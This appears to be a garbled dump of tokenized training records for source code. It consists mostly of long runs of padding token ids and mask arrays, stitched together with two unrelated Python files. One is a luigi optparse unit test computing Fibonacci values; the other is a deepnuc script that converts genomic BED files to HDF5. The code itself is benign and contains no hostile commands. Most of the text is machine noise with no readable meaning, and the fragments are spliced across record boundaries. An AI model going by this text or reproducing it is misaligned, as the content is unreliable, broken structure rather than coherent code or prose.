32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dylanjbarth/luigi
test/optparse_test.py
13
1475
# -*- coding: utf-8 -*- # # Copyright 2012-2015 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import luigi from fib_test import FibTestBase from luigi.mock import MockTarget class OptParseTest(FibTestBase): def test_cmdline_optparse(self): luigi.run(['--local-scheduler', '--no-lock', '--task', 'Fib', '--n', '100'], use_optparse=True) self.assertEqual(MockTarget.fs.get_data('/tmp/fib_10'), b'55\n') self.assertEqual(MockTarget.fs.get_data('/tmp/fib_100'), b'354224848179261915075\n') def test_cmdline_optparse_existing(self): import optparse parser = optparse.OptionParser() parser.add_option('--blaha') luigi.run(['--local-scheduler', '--no-lock', '--task', 'Fib', '--n', '100'], use_optparse=True, existing_optparse=parser) self.assertEqual(MockTarget.fs.get_data('/tmp/fib_10'), b'55\n') self.assertEqual(MockTarget.fs.get_data('/tmp/fib_100'), b'354224848179261915075\n')
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6029, 13, 7806, 428, 555, 3338, 14840, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 19485, 199, 504, 289, 1892, 63, 396, 492, 481, 1892, 14440, 199, 504, 19485, 14, 1805, 492, 4420, 4277, 421, 199, 533, 593, 541, 4003, 774, 8, 38, 1892, 14440, 304, 339, 347, 511, 63, 15612, 63, 2992, 1122, 8, 277, 304, 267, 19485, 14, 1065, 18510, 1832, 13, 8874, 297, 2850, 889, 13, 831, 297, 2850, 1765, 297, 283, 38, 1892, 297, 2850, 78, 297, 283, 1960, 995, 675, 63, 2992, 1122, 29, 549, 9, 398, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 709, 659, 330, 7, 1229, 60, 78, 358, 267, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 1960, 659, 330, 7, 12967, 8731, 15186, 10699, 1479, 1167, 1046, 19339, 60, 78, 358, 339, 347, 511, 63, 15612, 63, 2992, 1122, 63, 5952, 8, 277, 304, 267, 492, 8691, 267, 1798, 275, 8691, 14, 14553, 342, 267, 1798, 14, 525, 63, 1422, 4517, 21244, 2411, 358, 398, 19485, 14, 1065, 18510, 1832, 13, 8874, 297, 2850, 889, 13, 831, 297, 2850, 1765, 297, 283, 38, 1892, 297, 2850, 78, 297, 283, 1960, 995, 675, 63, 2992, 1122, 29, 549, 12, 3411, 63, 2992, 1122, 29, 2087, 9, 398, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 709, 659, 330, 7, 1229, 60, 78, 358, 267, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 1960, 659, 330, 7, 12967, 8731, 15186, 10699, 1479, 1167, 1046, 19339, 60, 78, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6029, 13, 7806, 428, 555, 3338, 14840, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 19485, 199, 504, 289, 1892, 63, 396, 492, 481, 1892, 14440, 199, 504, 19485, 14, 1805, 492, 4420, 4277, 421, 199, 533, 593, 541, 4003, 774, 8, 38, 1892, 14440, 304, 339, 347, 511, 63, 15612, 63, 2992, 1122, 8, 277, 304, 267, 19485, 14, 1065, 18510, 1832, 13, 8874, 297, 2850, 889, 13, 831, 297, 2850, 1765, 297, 283, 38, 1892, 297, 2850, 78, 297, 283, 1960, 995, 675, 63, 2992, 1122, 29, 549, 9, 398, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 709, 659, 330, 7, 1229, 60, 78, 358, 267, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 1960, 659, 330, 7, 12967, 8731, 15186, 10699, 1479, 1167, 1046, 19339, 60, 78, 358, 339, 347, 511, 63, 15612, 63, 2992, 1122, 63, 5952, 8, 277, 304, 267, 492, 8691, 267, 1798, 275, 8691, 14, 14553, 342, 267, 1798, 14, 525, 63, 1422, 4517, 21244, 2411, 358, 398, 19485, 14, 1065, 18510, 1832, 13, 8874, 297, 2850, 889, 13, 831, 297, 2850, 1765, 297, 283, 38, 1892, 297, 2850, 78, 297, 283, 1960, 995, 675, 63, 2992, 1122, 29, 549, 12, 3411, 63, 2992, 1122, 29, 2087, 9, 398, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 709, 659, 330, 7, 1229, 60, 78, 358, 267, 291, 14, 629, 8, 3346, 4277, 14, 2319, 14, 362, 63, 576, 2336, 2791, 15, 329, 66, 63, 1960, 659, 330, 7, 12967, 8731, 15186, 10699, 1479, 1167, 1046, 19339, 60, 78, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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go one directory up and append to path to access the deepdna package #The following statement is equiv to sys.path.append("../") sys.path.append( os.path.abspath(os.path.join(os.path.dirname(__file__),os.path.pardir))) from deepnuc.converters import ConvertToHdf5 from deepnuc.readers import BedReader from deepnuc.readers import DinucShuffleReader """ Converts a list of coordinate files (typically in bed format) to a single Hdf5 file with labels corresponding to each file. """ FLAGS = gflags.FLAGS gflags.DEFINE_string('file_list','',"""A comma delimited list of input coordinate files""") gflags.DEFINE_string('genome_file','',"""A genome reference file in fasta format""") gflags.DEFINE_string('chrom_sizes_file','',"""A listing of chromosome sizes for genome_file""") gflags.DEFINE_integer('seq_len',600,"""Nucleotide length of all training examples""") gflags.DEFINE_string('output_fname','',"""Output HDF5 file. If this option is left '', an HDF5 file will be generated for each input file""") gflags.DEFINE_boolean('dinuc_shuffle',False,"""Set true to generate a dinucleotide shuffled version of each input reader.""") def main(argv): #Parse gflags try: py_file = FLAGS(argv) # parse flags except gflags.FlagsError, e: print '%s\\nUsage: %s ARGS\\n%s' % (e, sys.argv[0], FLAGS) sys.exit(1) file_list = FLAGS.file_list.strip().split(',') reader_list = [BedReader(coords_file, FLAGS.genome_file, FLAGS.chrom_sizes_file, FLAGS.seq_len) for coords_file in file_list] dinuc_reader = [] if FLAGS.dinuc_shuffle == True: dinuc_reader = [DinucShuffleReader(reader_list)] if FLAGS.output_fname=='': fbase = os.path.splitext(reader_list[0].name)[0] output_fname = fbase+'.h5' print "No output name specified" print "Naming file",output_fname else: output_fname = FLAGS.output_fname converter = ConvertToHdf5(dinuc_reader+reader_list, output_fname = output_fname) if __name__=='__main__': main(sys.argv)
gpl-3.0
[ 646, 486, 2469, 199, 646, 984, 199, 646, 747, 199, 199, 3, 7250, 1373, 2082, 1536, 436, 5666, 370, 931, 370, 2879, 314, 13217, 21075, 2559, 199, 3, 1918, 2569, 5164, 365, 325, 5608, 370, 984, 14, 515, 14, 740, 480, 5093, 531, 199, 1274, 14, 515, 14, 740, 8, 272, 747, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 736, 14, 515, 14, 21386, 1724, 199, 199, 504, 13217, 30984, 14, 17911, 492, 7905, 1378, 40, 1587, 21, 199, 504, 13217, 30984, 14, 27056, 492, 699, 379, 5929, 221, 199, 504, 13217, 30984, 14, 27056, 492, 577, 262, 947, 19779, 5929, 4388, 199, 624, 199, 17729, 282, 769, 402, 10021, 1584, 334, 32251, 315, 30739, 1475, 9, 370, 282, 2849, 199, 40, 1587, 21, 570, 543, 3628, 5226, 370, 1924, 570, 14, 199, 199, 624, 199, 4831, 275, 486, 2469, 14, 4831, 199, 199, 71, 2469, 14, 14603, 63, 875, 360, 493, 63, 513, 1673, 297, 624, 33, 10029, 21941, 769, 402, 1324, 10021, 1584, 6141, 199, 71, 2469, 14, 14603, 63, 875, 360, 27776, 63, 493, 1673, 297, 624, 33, 29924, 3659, 570, 315, 30544, 1475, 6141, 199, 71, 2469, 14, 14603, 63, 875, 360, 23473, 63, 7723, 63, 493, 1673, 297, 624, 33, 13778, 402, 20074, 26803, 10627, 367, 29924, 63, 493, 6141, 199, 71, 2469, 14, 14603, 63, 4115, 360, 3610, 63, 552, 297, 6683, 12, 624, 46, 947, 274, 79, 280, 271, 2582, 402, 1006, 6093, 7251, 6141, 221, 199, 71, 2469, 14, 14603, 63, 875, 360, 1199, 63, 5252, 1673, 297, 624, 2959, 24521, 21, 570, 14, 982, 642, 8105, 945, 365, 3602, 3260, 376, 24521, 21, 570, 8105, 911, 506, 4046, 367, 1924, 1324, 570, 6141, 199, 71, 2469, 14, 14603, 63, 4871, 360, 68, 262, 947, 63, 11777, 297, 797, 12, 624, 1084, 2549, 370, 3550, 282, 366, 262, 947, 274, 79, 280, 271, 6163, 28126, 1146, 1015, 402, 1924, 1324, 7002, 24887, 199, 199, 318, 2446, 8, 3020, 304, 272, 327, 4003, 486, 2469, 272, 862, 26, 267, 1134, 63, 493, 275, 12846, 8, 3020, 9, 221, 327, 2198, 3285, 272, 871, 486, 2469, 14, 6381, 547, 12, 325, 26, 267, 870, 1543, 83, 1103, 78, 7692, 26, 450, 83, 4160, 8021, 1103, 78, 5, 83, 7, 450, 334, 69, 12, 984, 14, 3020, 59, 16, 467, 12846, 9, 267, 984, 14, 2224, 8, 17, 9, 339, 570, 63, 513, 275, 12846, 14, 493, 63, 513, 14, 1913, 1252, 1294, 11917, 25979, 7002, 63, 513, 275, 359, 34, 379, 5929, 8, 8032, 63, 493, 12, 1816, 12846, 14, 27776, 63, 493, 12, 1816, 12846, 14, 23473, 63, 7723, 63, 493, 12, 1816, 12846, 14, 3610, 63, 552, 9, 367, 13259, 63, 493, 315, 570, 63, 513, 61, 339, 366, 262, 947, 63, 5503, 275, 942, 272, 340, 12846, 14, 68, 262, 947, 63, 11777, 508, 715, 26, 267, 366, 262, 947, 63, 5503, 275, 359, 36, 262, 947, 19779, 5929, 8, 5503, 63, 513, 1874, 268, 339, 340, 12846, 14, 1199, 63, 5252, 6803, 356, 267, 289, 1095, 275, 747, 14, 515, 14, 7973, 8, 5503, 63, 513, 59, 16, 1055, 354, 2788, 16, 61, 267, 1072, 63, 5252, 275, 289, 1095, 18098, 72, 21, 7, 267, 870, 298, 1944, 1072, 536, 2013, 2, 267, 870, 298, 46, 9568, 570, 401, 1199, 63, 5252, 272, 587, 26, 267, 1072, 63, 5252, 275, 12846, 14, 1199, 63, 5252, 5493, 11109, 275, 7905, 1378, 40, 1587, 21, 8, 68, 262, 947, 63, 5503, 11, 5503, 63, 513, 12, 2079, 1072, 63, 5252, 275, 1072, 63, 5252, 9, 2574, 421, 199, 692, 636, 354, 363, 6803, 363, 973, 3706, 272, 2446, 8, 1274, 14, 3020, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 